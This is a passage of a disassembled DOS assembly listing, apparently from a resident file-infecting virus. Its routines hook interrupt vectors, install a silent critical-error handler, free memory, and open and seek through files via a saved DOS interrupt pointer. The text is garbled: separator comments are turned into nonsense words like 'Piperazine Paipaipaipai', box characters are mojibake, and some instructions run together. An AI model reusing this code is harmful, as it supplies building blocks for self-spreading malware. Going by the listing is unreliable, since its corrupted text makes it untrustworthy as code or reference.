SUB_10 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_11 Proc Near
Push CS
POP DS
MOV Si, 904H
MOV BX, AX
MOV CX, 7ABH
Call Sub_7; (0758)
JNZ LOC_75; JUMP IF NOT ZERO
MOV AX, DATA_47; (8344: 08F2 = 0)
MOV DX, 10H
Mul dx; dx: AX = reg * AX
Push bx
Push di
Call Sub_12; (07BF)
POP DI
POP BX
MOV Si, Offset Data_45; (8344: 08EA = 0)
MOV CX, 1AH
MOV AX, DS: DATA_54E; (8344: 10AF = 0)
MOV DATA_46, AX; (8344: 08F0 = 0)
MOV AX, DS: DATA_55E; (8344: 10B1 = 0)
MOV DATA_48, AX; (8344: 08FE = 0)
MOV AX, DS: DATA_56E; (8344: 10B3 = 0)
MOV DS: DATA_49E, AX; (8344: 0900 = 0)
LOC_75:
XOR AX, AX; Zero Register
XOR DX, DX; ZERO Register
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
SUB_12:
SUB AX, DATA_37; (8344: 08D0 = 0)
SBB DX, DATA_38; (8344: 08D2 = 0)
JC LOC_76; JUMP IF Carry Set
JNZ LOC_RET_79; JUMP IF NOT ZERO
SUB BX, AX
JBE LOC_RET_79; JUMP if Below OR =
Add di, AX
JMP Short Loc_77; (07E2)
LOC_76:
NEG AX
ADC DX, 0
NEG DX
JNZ LOC_RET_79; JUMP IF NOT ZERO
SUB CX, AX
JBE LOC_RET_79; JUMP if Below OR =
Add Si, AX
LOC_77:
CMP CX, BX
JBE LOC_78; JUMP if Below OR =
MOV CX, BX
LOC_78:
Cld; Clear Direction
REP MOVSB; Rep when CX> 0 MOV [Si] to ES: [Di]
LOC_RET_79:
Retn
SUB_11 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_13 Proc Near
Pushf; Push Flags
Call Sub_24; (0884)
MOV AH, 49H; 'I'
Push DS
POP ES
INT 21h; DOS Services AH = Function 49h; Release Memory Block, ES = Seg
MOV AH, 49H; 'I'
MOV ES, DS: DATA_8E; (0046: 002c = 50h)
INT 21h; DOS SERVICES AH = Function 49h
; Release Memory Block, ES = SEG
MOV AH, 50H; 'P'
MOV BX, DS: DATA_7E; (0046: 0016 = 0)
Int 21h; DOS SERVICES AH = Function 50h
; Set Active PSP Segmnt from BX
MOV AX, 2522H
LDS DX, DWORD PTR DS: DATA_6E; (0046: 000A = 0) Load 32 Bit Ptr
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
Call Sub_25; (0896)
POPF; POP Flags
Retn
SUB_13 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_14 Proc Near
MOV Si, DX
CMP Byte PTR [Si], 0FFH
JNE LOC_RET_80; JUMP IF NOT Equal
Add Si, 7
LOC_RET_80:
Retn
SUB_14 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_15 Proc Near
Call Sub_24; (0884)
Call Sub_14; (0814)
Push CS
POP ES
MOV DX, 904H
MOV DI, DX
Cld; Clear Direction
Lodsb; string [si] to alone
OR Al, Al; ZERO?
JZ LOC_81; JUMP IF ZERO
Add Al, 40h; '@'
Mov Ah, 3ah; ':'
StoSw; Store Ax To Es: [Di]
LOC_81:
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
MOV Al, 2Eh; '.'
Stosb; Store Al To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
Movsb; MOV [Si] To ES: [DI]
XOR Al, Al; Zero Register
Stosb; Store Al To Es: [DI]
Push ES
POP DS
Call Sub_3; (0519)
Call Sub_25; (0896)
Retn
SUB_15 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_16 Proc Near
Push AX
MOV AX, CS
JMP Short Loc_82; (0854)
; L l l l External Entry into Subroutine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine piperazine sub_17:
Push AX
XOR AX, AX; Zero Register
LOC_82:
Push bx
Push DS
MOV BX, CS
Dec BX
MOV DS, BX
MOV DS: DATA_16E, AX; (8343: 0001 = 0FFFH)
POP DS
POP BX
POP AX
Retn
SUB_16 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
Sub_18 proc Near
MOV AX, 3D00H
JMP Short Loc_83; (0879)
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
SUB_19:
Mov Ah, 3EH; '>'
JMP Short Loc_83; (0879)
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
Sub_20:
MOV AX, 4200H
JMP Short Loc_83; (0879)
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
SUB_21:
MOV AX, 4202H
JMP Short Loc_83; (0879)
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
SUB_22:
Push Word PTR [BP 6]
POPF; POP Flags
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
SUB_23:
LOC_83:
Pushf; Push Flags
CLI; disable interrupts
Call DWORD PTR CS: DATA_20; (8344: 08Ab = 0)
Retn
SUB_18 ENDP
圹 圹 圹 圹 圹
;
; External Entry Point
;
圹 圹 圹 圹 圹
INT_24H_ENTRY PROC FAR
MOV Al, 3
INT_24H_ENTRY ENDP
圹 圹 圹 圹 圹
;
; External Entry Point
;
圹 圹 圹 圹 圹
INT_23H_ENTRY PROC FAR
IRet; Interrupt Return
INT_23H_ENTRY ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_24 Proc Near
POP CS: DATA_32; (8344: 08c7 = 0)
Push DS
Push dx
Push ES
Push bx
Push AX
PUSH CX
Push Si
Push di
Push BP
MOV BP, SP
JMP Short Loc_84; (08A6)
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
SUB_25:
POP CS: DATA_32; (8344: 08c7 = 0)
MOV SP, BP
POP BPPOP DI
POP Si
POP CX
POP AX
POP BX
POP ES
POP DX
POP DS
LOC_84:
JMP Word PTR CS: DATA_32; (8344: 08c7 = 0)
Data_20 DD 00000H
DATA_21 DD 00000H
DATA_22 DW 0, 8344H
DATA_24 DW 0, 8344H
DATA_26 DW 0, 8344H
DATA_28 DW 0, 8344H
Data_30 dw 0, 8344h
Data_32 dw 0
DATA_33 DB 0
Data_34 DW 0
Data_35 dw 0
Data_36 DW 0
Data_37 dw 0
DATA_38 DW 0
Data_39 DW 0
DB 12 DUP (0)
DATA_41 DW 0
DATA_42 DW 0
DATA_43 DD 00000H
DATA_45 DW 0
DB 0, 0, 0, 0
Data_46 DW 0
Data_47 DW 0
DB 10 DUP (0)
Data_48 DW 0
SUB_24 ENDP
SEG_A ENDS
End Start
